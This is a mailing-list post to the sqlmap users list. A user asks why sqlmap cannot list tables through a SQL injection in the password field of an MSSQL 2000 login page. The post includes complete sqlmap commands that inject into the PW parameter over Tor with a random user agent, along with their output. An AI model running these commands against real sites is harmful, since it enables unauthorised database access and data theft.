[sqlmap-users] Injection on Post Parameter MSSQL 2000 Enumerating Tables issue

[John B. <sql...@ho...>]

Hello,
First some background information
1. Havij was able to enumerate databases, tables, columns & data on the same URL / POST data2. sqlmap is unable to enumerate tables (see commands below)3. --banner outputMicrosoft SQL Server  2000 - 8.00.2055 (Intel X86)        Dec 16 2008 *:*:*        Copyright (c) 1988-2003 Microsoft Corporation        Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)



Command to enumerate databases:python sqlmap.py -u "http://www.site.com/index.asp?action=auth" --random-agent --tor --data "UN=admin&PW=admin&x=0&y=0" -p "PW" --dbms=mssql -o --dbs
this successfully lists all databases
Command to enumerate tablespython sqlmap.py -u "http://www.site.com/index.asp?action=auth" --random-agent --tor --data "UN=admin&PW=admin&x=0&y=0" -p "PW" --dbms=mssql -o --tables -D DATABASENAME
[15:36:20] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2000[15:36:20] [INFO] fetching tables for database: DATABASENAME[15:36:24] [WARNING] the SQL query provided does not return any outputDatabase: DATABASENAME[1 table]+--+|  |+--+
[15:36:24] [WARNING] HTTP error codes detected during testing:500 (Internal Server Error) - 1 times[15:36:24] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/www.site.com'
[*] shutting down at 15:36:24

Any issues on what I could try? I tried --hex as well.